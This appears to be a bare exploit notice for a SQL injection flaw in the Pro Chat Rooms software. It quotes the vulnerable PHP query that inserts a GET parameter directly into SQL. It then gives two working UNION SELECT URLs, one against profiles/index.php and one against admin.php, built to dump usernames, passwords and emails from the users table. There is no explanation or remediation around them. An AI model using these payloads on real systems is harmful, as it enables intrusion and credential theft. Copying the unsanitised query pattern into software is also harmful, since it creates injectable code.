$tmp=mysql_query("SELECT * FROM prochatrooms_profiles WHERE user_name ='".$_GET."'");
http://localhost/[installdir]/profiles/index.php?gud=-1'+union+select+1,concat_ws(0x3a,user_name,password,email),3,4,5,6,7,8+from+prochatrooms_users/*
http://localhost/[installdir]/profiles/admin.php?gud=-1'+union+select+1,concat_ws(0x3a,user_name,password,email),3,4,5,6,7,8+from+prochatrooms_users/*